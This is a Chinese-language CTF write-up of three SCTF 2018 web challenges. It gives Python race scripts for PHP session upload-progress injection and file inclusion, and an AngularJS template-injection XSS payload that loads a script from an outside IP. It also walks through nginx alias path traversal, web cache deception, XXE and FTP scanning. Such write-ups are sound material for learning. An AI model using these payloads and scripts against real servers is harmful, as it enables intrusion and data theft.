admin|i:1;upload_progress_<?php echo file_get_contents("/tmp/flag_56CcE97QGNxDEXNpW3HY");?>|a:5:{s:10:"start_time";i:1529519759;s:14:"content_length";i:90736;s:15:"bytes_processed";i:5291;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"upload";s:4:"name";s:7:"tmp.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1529519759;s:15:"bytes_processed";i:0;}}}
踩过的坑点
这道题调用了so来实现php的加解密,这里的文件包含调用了加密的index.php,所以要include也是include加密的php代码,但是这里的session只能控制<?php echo file_get_contents("/tmp/flag_56CcE97QGNxDEXNpW3HY");?>
,最多也只是将session中的该片段进行加密,session其余的内容未加密也会导致解密出错
幸亏这题为了让选手能使用php伪协议,留了个直接php解析,不需要加密的"后门",只判断了://
所以可以用payload绕过加解密步骤,来include session并直接调用php解析
http://116.62.71.206:52872/?f=aa://../../../../var/lib/php/sessions/sess_qc2kavokdjiiepu283hduivod2
SessionUpload.py
#!coding:utf-8
import requests
import time
url = 'http://116.62.71.206:52872/?f=login.php'
data = {'name':'admin','pass':'sctf2018_h656cDBkU2'}
r = requests.post(url,data = data)
PHPSESSID = r.cookies['PHPSESSID']
print 'input the PHPSESSID in include.py' +'\n' + PHPSESSID
time.sleep(10)
while 1:
url = 'http://116.62.71.206:52872/?f=upload_sctf2018_C9f7y48M75.php'
files = {
"PHP_SESSION_UPLOAD_PROGRESS" : (None,'<?php echo file_get_contents("/tmp/flag_56CcE97QGNxDEXNpW3HY");?>'),
"upload" : ("tmp.jpg", open("tmp.png", "rb"), "image/png"),
"submit" : (None,"submit")
}
#proxies = {'http':'http://127.0.0.1:8080'}
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
r = requests.post(url,files = files , headers = headers)
print r.text
print PHPSESSID
#开了cleanup,需要竞争,并且保持回话的session
include.py
#!coding:utf-8
import requests
PHPSESSID = 'qc2kavokdjiiepu283hduivod2'
while 1:
url = 'http://116.62.71.206:52872/?f=aa://../../../../var/lib/php/sessions/sess_' + PHPSESSID
print url
r = requests.get(url)
if 'SCTF' in r.text:
print r.text
break
新的建议板
这题也是赛后做出来的
Angular JS模板注入
漏洞详情
https://blog.csdn.net/u011721501/article/details/51506364
留言暗示后台有机器人,所以,构造xss吧
后台是express,post错误类型参数会报错
suggest里post完马上get也有大概率会报错
login里传错误类型参数直接就保持连接但是没有应答...
能插入外部js的payload:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=eval(atob("dmFyIHA9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7IHAuc3JjPSJodHRwOi8vMTM5LjE5OS4yMDYuMjE5L2IuanMiOyBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHApOyA="))');}}
直接开x,读一下源码 发现后台有admin/file, 其中需要提交filepasswd
这时候回到前台,查看假后台的源码 , views/admintest2313.html 里面有个memo,其中有请求api/memo/admintest2313,
我们按照名称来请求真正后台的memo, /api/memos/adminClound
会得到filepasswd:HGf^&39NsslUIf^23
再csrf post过去就得到flag了
flag:sctf{T4is_is_flag2313}
NGINX的秘密
hint4:/editxxxxx怎么也能访问?
hint3:路由嘛,扫一扫目录就知道了。views.py是读不出来的233333
hint2:这个路由好生奇怪
hint1:从nginx的典型错误配置入手吧
这题是赛后以及在wupco师傅指导下做出来的,膜师傅orz
一开始比赛过程中只找到一个XXE,一直想读nginx配置文件读不到,赛后才知道nginx和后端不在同一个环境...
目标有5个功能点
UserInfo
EditMyinfo
Write_your_plan
import_and_export
Post Bug
访问http://116.62.137.155:4455/user/admin ,看到
-syc-note 我已经把所有秘密写进secret plan了233333
推想需要读admin的/write_plan
发现存在nginx配置不当导致目录穿越漏洞。可以参考https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration
http://116.62.137.155:4455/static../etc/nginx/nginx.conf 读取nginx配置文件,看到开启了代理缓存:
proxy_cache_path /tmp/mycache levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=30s use_temp_path=off;
limit_conn_zone $binary_remote_addr zone=conn:10m;
limit_req_zone $binary_remote_addr zone=allips:10m rate=2r/s;
server {
listen 4455 default_server;
server_name localhost;
location /static {
alias /home/;
}
location ~* \.(css|js|gif|png){
proxy_cache my_cache;
proxy_cache_valid 200 30s;
proxy_pass http://bugweb.app:8000;
proxy_set_header Host $host:$server_port;
proxy_ignore_headers Expires Cache-Control Set-Cookie;
}
location / {
limit_conn conn 10;
proxy_pass http://bugweb.app:8000;
proxy_set_header Host $host:$server_port;
}
}
匹配到~* .(css|js|gif|png)就进行缓存。
查看文档http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_path 了解proxy_cache_path的值的含义,得知缓存文件保存在/tmp/mycache,用于定义缓存文件名的proxy_cache_key未设置,则使用默认值 $scheme$proxy_host$request_uri,即文件名形式为MD5($scheme$proxy_host$request_uri),如果访问http://116.62.137.155:4455/write_plan/a.js/ ,则缓存文件名为MD5(http://bugweb.app:8000/write_plan/a.js/) ==6fcfa7b1e6bad837b70dc98c9b82b43b,由于proxy_cache_path设置了levels=1:2,因此缓存文件存在/tmp/mycache下的两级目录下,第一级目录名取MD5值的最后一个字符,第二级目录名取MD5值的倒数2、3个字符,例如/tmp/mycache/b/43/6fcfa7b1e6bad837b70dc98c9b82b43b,再通过任意文件读取即可读到缓存文件的内容。
由于路由很奇怪,访问/editxxxxx等同于访问/edit,同理访问/write_planxxxx等同于访问/write_planxxxx。因而构造http://116.62.137.155:4455/write_plan/a.js/ 提交给管理员访问,再读取缓存文件,可以找到ftp的帐号密码syc10ver Eec5TN9fruOOTp2G,再通过http://116.62.137.155:4455/import_and_export/ 的XXE读取/proc/net/arp,发现存在172.18.0.1~4,再通过ftp扫描这四个ip,在172.18.0.4发现文件flag327a6c4304ad5938eaf0efb6cc3e53dc
flag:sctf{Not_0n1y_xx3_but_als0_web_cache}
萌新团队, 有兴趣请关注我们的GitHub
-
-
-
-
-
-
-
-
-
没有评论